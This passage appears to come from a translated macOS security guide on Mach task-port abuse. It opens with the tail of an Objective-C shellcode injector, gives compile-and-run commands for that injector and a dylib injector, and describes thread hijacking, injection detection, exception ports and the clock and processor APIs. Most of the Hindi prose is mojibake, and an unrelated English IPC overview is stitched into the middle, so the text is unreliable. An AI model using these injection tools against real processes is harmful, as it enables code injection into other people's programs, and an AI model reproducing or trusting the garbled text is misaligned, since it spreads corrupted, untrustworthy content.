if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

рдЗрд╕реЗ iOS рдкрд░ рдХрд╛рдо рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ dynamic-codesigning рдЕрдзрд┐рдХрд╛рд░ рдЪрд╛рд╣рд┐рдП рд╣реЛрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк рдПрдХ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рдореЗрдореЛрд░реА рдХреЛ рдХреНрд░рд┐рдпрд╛рд╢реАрд▓ рдмрдирд╛ рд╕рдХреЗрдВред

рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдереНрд░реЗрдб рдореЗрдВ Dylib рдЗрдВрдЬреЗрдХреНрд╢рди

macOS рдореЗрдВ рдереНрд░реЗрдб рдХреЛ Mach рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╛ posix pthread рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдорд╛рдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рдордиреЗ рдкрд┐рдЫрд▓реЗ рдЗрдВрдЬреЗрдХреНрд╢рди рдореЗрдВ рдЬрд┐рд╕ рдереНрд░реЗрдб рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдерд╛, рд╡рд╣ Mach рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣ posix рдЕрдиреБрд░реВрдк рдирд╣реАрдВ рд╣реИред

рдПрдХ рд╕рд░рд▓ рд╢реИрд▓реА рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ рддрд╛рдХрд┐ рдПрдХ рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ posix рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рдереА, рдХреЗрд╡рд▓ Mach рдХреЗ рд╕рд╛рдеред рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рднреА рдереНрд░реЗрдб рдХреЛ рдЕрдзрд┐рдХ posix рдЕрдиреБрд░реВрдк рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЗрд╕рд▓рд┐рдП, рдереНрд░реЗрдб рдХреЛ рд╕реБрдзрд╛рд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдХреЙрд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП pthread_create_from_mach_thread рдЬреЛ рдПрдХ рдорд╛рдиреНрдп pthread рдмрдирд╛рдПрдЧрд╛ред рдлрд┐рд░, рдЗрд╕ рдирдП pthread рдХреЛ dlopen рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдПрдХ dylib рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕рд▓рд┐рдП рдирдП рд╢реИрд▓реА рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдмрдЬрд╛рдп рд╡рд┐рднрд┐рдиреНрди рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреА рд▓рд╛рдЗрдмреНрд░реЗрд░реАрдЬрд╝ рд▓реЛрдб рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

рдЖрдк рдпрд╣рд╛рдВ рдЙрджрд╛рд╣рд░рдг dylibs рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЬреЛ рдПрдХ рд▓реЙрдЧ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЖрдк рдЗрд╕реЗ рд╕реБрди рд╕рдХрддреЗ рд╣реИрдВ):

macOS IPC (Inter-Process Communication)

macOS IPC Overview

Inter-process communication (IPC) is a mechanism that allows processes to communicate and share data with each other. In macOS, IPC can be achieved using various techniques such as Mach ports, XPC services, and Apple events. These communication channels can be abused by attackers to escalate privileges or perform other malicious activities. It is important to understand how IPC works on macOS and how to secure it against abuse.

gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>

рдереНрд░реЗрдб рд╣рд╛рдЗрдЬреИрдХрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ

рдЗрд╕ рддрдХрдиреАрдХ рдореЗрдВ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдПрдХ рдереНрд░реЗрдб рд╣рд╛рдЗрдЬреИрдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

рдЯрд╛рд╕реНрдХ рдкреЛрд░реНрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдбрд┐рдЯреЗрдХреНрд╢рди

task_for_pid рдпрд╛ thread_create_* рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдХрд░реНрдирд▓ рд╕реЗ рдЯрд╛рд╕реНрдХ рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ рдПрдХ рдХрд╛рдЙрдВрдЯрд░ рдмрдврд╝рд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЛрдб рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм task_info(task, TASK_EXTMOD_INFO, ...) рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЕрдкрд╡рд╛рдж рдкреЛрд░реНрдЯ

рдЬрдм рдХрд┐рд╕реА рдереНрд░реЗрдб рдореЗрдВ рдПрдХ рдЕрдкрд╡рд╛рдж рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЕрдкрд╡рд╛рдж рдереНрд░реЗрдб рдХреЗ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдЕрдкрд╡рд╛рдж рдкреЛрд░реНрдЯ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдЧрд░ рдереНрд░реЗрдб рдЗрд╕реЗ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рдЯрд╛рд╕реНрдХ рдЕрдкрд╡рд╛рдж рдкреЛрд░реНрдЯ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдЧрд░ рдЯрд╛рд╕реНрдХ рдЗрд╕реЗ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рд╣реЛрд╕реНрдЯ рдкреЛрд░реНрдЯ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд▓реЙрдиреНрдЪрдбреА рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрд╣рд╛рдВ рдЗрд╕реЗ рд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛)ред рдЗрд╕реЗ рдЕрдкрд╡рд╛рдж рдЯреНрд░рд╛рдпрдЬ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдВрдд рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдпрдд: рдпрджрд┐ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕рдВрднрд╛рд▓рд╛ рдирд╣реАрдВ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд░рд┐рдкреЛрд░реНрдЯ рдХреЛ рд░рд┐рдкреЛрд░реНрдЯрдХреНрд░реИрд╢ рдбреЗрдордиреНрдб рджреНрд╡рд╛рд░рд╛ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рд╣реА рдЯрд╛рд╕реНрдХ рдореЗрдВ рдПрдХ рдЕрдкрд╡рд╛рдж рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдиреНрдп рдереНрд░реЗрдб рд╕рдВрднрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ PLCrashReporter рдЬреИрд╕реЗ рдХреНрд░реИрд╢ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рдЙрдкрдХрд░рдг рдХрд░рддреЗ рд╣реИрдВред

рдЕрдиреНрдп рдСрдмреНрдЬреЗрдХреНрдЯ

рдШрдбрд╝реА

рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдШрдбрд╝реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╕рдордп рд╕реЗрдЯ рдХрд░рдиреЗ рдпрд╛ рдЕрдиреНрдп рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдХреЛ рд░реВрдЯ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП clock рдЙрдкрдкреНрд░рдгрд╛рд▓реА рд╕реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреИрд╕реЗ: clock_get_time, clock_get_attributtes рдпрд╛ clock_alarm рдорд╛рдиреНрдпрддрд╛ рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП clock_priv рдЙрдкрдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ clock_set_time рдФрд░ clock_set_attributes

рдкреНрд░реЛрд╕реЗрд╕рд░ рдФрд░ рдкреНрд░реЛрд╕реЗрд╕рд░ рд╕реЗрдЯ

рдкреНрд░реЛрд╕реЗрд╕рд░ рдПрдкреАрдЖрдИ рдПрдХ рдПрдХрд▓ рддрд╛рд░реНрдХрд┐рдХ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдЬреИрд╕реЗ processor_start, processor_exit, processor_info, processor_get_assignment...

рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкреНрд░реЛрд╕реЗрд╕рд░ рд╕реЗрдЯ рдПрдкреАрдЖрдИ рдПрдХ рд╕рдореВрд╣ рдореЗрдВ рдХрдИ рдкреНрд░реЛрд╕реЗрд╕рд░реЛрдВ рдХреЛ рд╕рдореВрд╣рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреНрд░реЛрд╕реЗрд╕рд░ рд╕реЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП processor_set_default рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпреЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдПрдкреАрдЖрдИ рд╣реИрдВ рдкреНрд░реЛрд╕реЗрд╕рд░ рд╕реЗрдЯ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП: